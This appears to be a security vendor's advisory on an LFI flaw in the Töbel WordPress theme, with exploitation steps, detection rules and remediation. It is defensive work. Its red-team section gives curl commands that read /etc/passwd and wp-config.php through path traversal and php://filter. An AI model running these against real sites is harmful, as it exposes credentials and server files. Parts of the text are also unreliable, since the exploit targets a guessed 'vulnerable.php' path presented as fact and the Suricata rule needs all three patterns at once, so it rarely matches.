CVE-2025-69049

Executive Summary

CVE-2025-69049 is a critical security vulnerability affecting the Töbel WordPress theme developed by Elated-Themes. This vulnerability is a PHP Local File Inclusion (LFI) flaw, stemming from improper control of a filename used in a PHP include or require statement. An unauthenticated attacker can exploit this to read arbitrary files from the server, potentially exposing sensitive configuration files, database credentials, or source code. The CVSS score of 8.1 reflects the high impact on confidentiality, with a low impact on integrity and availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for WordPress site administrators using this theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the WordPress ecosystem. The theme is not a standard package manager (NPM, PyPI, etc.) but is a PHP-based component. The risk is amplified by the lack of a known patch, meaning affected sites must rely on manual mitigation until an update is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): Low (L) – Limited ability to modify files.
• Availability (A): Low (L) – Potential for denial of service via resource exhaustion.

Threat Level: Critical. The combination of network exploitability, no authentication, and high confidentiality impact makes this a severe risk for any site running the Töbel theme version 1.6 or earlier.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) in the Töbel theme. The theme likely uses a parameter (e.g., page, template, or include) to dynamically load PHP files. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The include or require statement in PHP directly concatenates user input without proper validation or whitelisting. For example:

include($_GET['template'] . '.php');

An attacker can supply ../../../etc/passwd%00 to null-terminate the string and read /etc/passwd.

Impact:

• File Disclosure: Read sensitive files like wp-config.php (database credentials), /etc/passwd, or application source code.
• Potential RCE: If the attacker can upload a file (e.g., via another vulnerability) and include it, this can lead to remote code execution.
• Information Gathering: Exposed source code can reveal other vulnerabilities.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// vulnerable.php
$file = $_GET['file'];
include($file . '.php');

Patched Code (Hypothetical):

// patched.php
$allowed_files = array('home', 'about', 'contact');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}

Key Differences:

• Input Validation: Patched code uses a whitelist of allowed files.
• Path Traversal Prevention: Patched code rejects any input not in the whitelist.
• No Null Byte Injection: Modern PHP versions (5.3.4+) prevent null byte injection, but path traversal remains.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Töbel theme version 1.6.
2. Ensure the vulnerable parameter is exposed (e.g., ?template=).

Exploitation Steps:

1. Basic LFI:

   curl "http://target/wp-content/themes/tobel/vulnerable.php?file=../../../etc/passwd"
   

2. Null Byte Injection (if PHP < 5.3.4):

   curl "http://target/wp-content/themes/tobel/vulnerable.php?file=../../../etc/passwd%00"
   

3. PHP Wrapper for Source Code:

   curl "http://target/wp-content/themes/tobel/vulnerable.php?file=php://filter/convert.base64-encode/resource=../../../wp-config.php"
   

   Decode the base64 output to get the file contents.

Expected Output: Contents of /etc/passwd or wp-config.php.

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Logs: Look for patterns like ../, %00, or php:// in GET parameters.
2. File Integrity Monitoring: Alert on unexpected changes to theme files.
3. WAF Rules: Block requests containing path traversal sequences.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri_path="*/vulnerable.php*" uri_query=*../*
• ELK: http.request.uri: "/vulnerable.php" AND http.request.uri: "*../*"

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /wp-config.php, /proc/self/environ
• URL Patterns: ?file=../../../etc/passwd, ?template=php://filter/...
• Log Entries: Repeated requests with ../ or php:// in parameters.
• Network Traffic: Outbound connections from the web server to unknown IPs (if RCE achieved).

Detection Engineering

YARA Rule

rule CVE_2025_69049_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Töbel theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69049"
    strings:
        $path_traversal = /\.\.\// nocase
        $php_wrapper = /php:\/\// nocase
        $null_byte = /%00/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-69049 LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Töbel theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - 'php://'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of '..' in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69049 LFI Attempt"; flow:to_server; content:"../"; http_uri; nocase; content:"php://"; http_uri; nocase; content:"%00"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Töbel theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file permissions on sensitive files (e.g., wp-config.php to 600).

Long-Term Fix:

• Patch: Await an official patch from Elated-Themes. Monitor their website or WordPress repository.
• Code Hardening: If you have access to the theme source, add input validation and whitelisting.
• Upgrade: Consider migrating to a supported theme.

Workaround:

• Disable PHP file inclusion by modifying the theme's code to remove the vulnerable parameter.

Valters IT
Securing Digital Frontiers